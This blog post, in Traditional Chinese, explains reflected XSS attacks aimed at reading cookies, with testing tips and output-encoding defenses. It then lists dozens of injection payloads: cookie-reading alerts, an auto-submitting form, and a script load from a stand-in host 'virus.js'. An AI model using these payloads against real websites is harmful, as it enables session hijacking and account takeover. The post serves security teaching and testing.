• 駭客如何用XSS讀取 Cookie?

    這篇文章主要透過一個比較完整的例子說明 XSS的攻擊過程。

    為什麼駭客要做這樣的攻擊? 測試工具為何? 如何觀察? 防護的建議。

    Reflected Cross-site Scripting (XSS)

    XSS 或是 JavaScript Injection 都是一般的通稱。

    這邊要介紹的是 “Reflected” cross-site Scripting的 XSS。

    Reflected顧名思義就是輸入(http Request) 的JavaScript程式碼,

    會在網站回應(Http Response)中看到。

    因此駭客可以透過 JavaScript的方式改變一些網頁執行的行為甚至讀取使用者瀏覽器的一些資訊(如Cookie)

    為什麼駭客要讀取 Cookie?

    主要因為 cookie 通常儲存一些使用者網路瀏覽的狀態。當然其中可能包含登入狀態。

    試想一個情境,我們登入某個網站之後,點選 “Remember Me”,希望下次不用再次登入。

    網站怎麼知道這個使用者在在台電腦已經登入,下次不需要再輸入帳號密碼呢?

    其中一個普遍的做法就是儲存 Cookie。因此,讀取所有的 Cookie,對駭客來說就相當於拿到網站的存取權限。

     

    如何測試?

    通常網站的輸入有兩種方式,一種是 Http Get另外一種是 Http Post

    Http Get  的方式,是透過網址將參數傳遞到網站。例如:

    • Https://banking.com/login?username=abc

    所以透過 Http Get 傳遞參數的方式,測試上只需要將網址的參數內容改變即可。

    Http Post的方式,是透過 message box 將參數傳遞到網站,例如:

    • Https://banking.com/login?
    {username=abc}

     

    所以透過 Http Post傳遞參數的方式,測試上可以利用 Web proxy 工具或是 FireFox TamperData (如下圖)。

    Tamper Data :: Add-ons for Firefox – Mozilla Add-ons

    如何輸入 XSS?

    XSS的輸入方式有多種,筆者舉個例子。

    ?%0011721″-alert(document.cookie)-“37846=1

    Https://banking.com/login?

    Https://banking.com/login?%0011721″-alert(document.cookie)-“37846=1

    多半的測試都是透過 Alert()的 JavaScript 函數,看看該網頁是否會執行 alert並且出現視窗。

    http://website.com/search.php?q=<script>alert(“XSS Testing”)</script>

    如何驗證呢?

    觀察 Http Response的內容,是否有出現輸入的 XSS程式碼?

    如下列範例。Http Response 出現 “?%0011721”-alert(document.cookie)-“37846=1”

    Reflected

    另外一個方式比較直覺,直接看該網頁是否會出現一個alert視窗。

    例如這個範例,出現alert視窗,並且讀取相關的 cookie值。

     

    Reflected results

    如何防護?

    通常分為兩大類,輸入值的驗證。輸出的編碼。

    對於 XSS的攻擊來說,輸出的編碼更為重要。因為透過這樣的”編碼”,會讓所輸入的 JavaScript 不會任意的被執行。

    編碼(Encoding or Escape) 是什麼意義呢? 舉例如下:

     

    & –> &amp; < –> &lt; > –> &gt; ” –> &quot;

    XSS 還有其他輸入方式嗎?

     

    • “/>alert(“Xss:Priyanshu”)
    • “/></script><script>alert(/XSS : Priyanshu/)</script>
    • <body onload=alert(1)>
    • “<body onload=”alert(‘XSS by Priyanshu’)”>
    • “><%2Fstyle<%2Fscript><script>confirm(“XSS By Priyanshu”)<%2Fscript>
    • <body onload=document.getElementById(“xsrf”).submit()>
    • <a href=”data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(1)>”>X</a
    • <a href=”data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(document.cookie)>”>X</a
    • http://test.com<script>alert(document.domain)</script>
    • http://test.com<script>alert(document.cookie)</script>
    • <img src=x onerror=alert(document.domain)>
    • x”></script><img src=x onerror=alert(1)>
    • q=” onclick=”alert(/XSS/)
    • “><iframe src=’javascript:prompt(/XSS/);’>
    • <iframe src=”http://google.com”></iframe>
    • “><iframe src=a onload=alert(‘XSS’)<
    • </script><script>alert(document.cookie)</script>
    • <xss>alert(‘xss’)</xss>
    • <iframe src=”http://google.com”></iframe>
    • /default.aspx#”><img src=x onerror=prompt(‘XSS’);>
    •  /default.aspx#”><img src=x onerror=prompt(‘0’);>
    • <img src=x onerror=prompt(1);> by “>
    • “><img src=x onerror=prompt(0)>.txt.jpg
    • “><img src=x onerror=alert(document.cookie)>
    •  “><img src=x onerror=prompt(1);>
    • “><script>alert(‘XSS’)</script>
    • id=abc”><Script>alert(/xss/)</SCRIPT>
    • “><img src=” ” onMouseover=prompt(/xss/);>
    • Default.aspx/” onmouseout=”confirm(1)’x=”

    為什麼不能只靠輸入的檢查?

    因為駭客可以透過一些其他方式規避輸入的檢查。我們很難列舉所有的檢查規則。

    因此建議輸出的編碼是必要的。舉例如下:

    • <script>alert(String.fromCharCode(72, 79, 67))</script>
    • website.com/search.php?q=xyz”></script><script>alert(/XSS Testing/);</script>
    • website.com/search.php?q=000″><script></script><script>alert(XSS Testing);</script>
    • website.com/search.php?q=000xyz</script><script>alert(/XSS Testing/);</script>
    • website.com/search.php?q=–<script>”></script>alert(/XSS Testing/);</script>
    • website.com/search.php?q=”><img src=’javascript:alert(‘XSS Testing’);’>
    • website.com/search.php?q=”><script src=’http://virus.js'</script>

     

    Posted by Tony @ 10:32 am

  • Leave a Reply

    Your email address will not be published.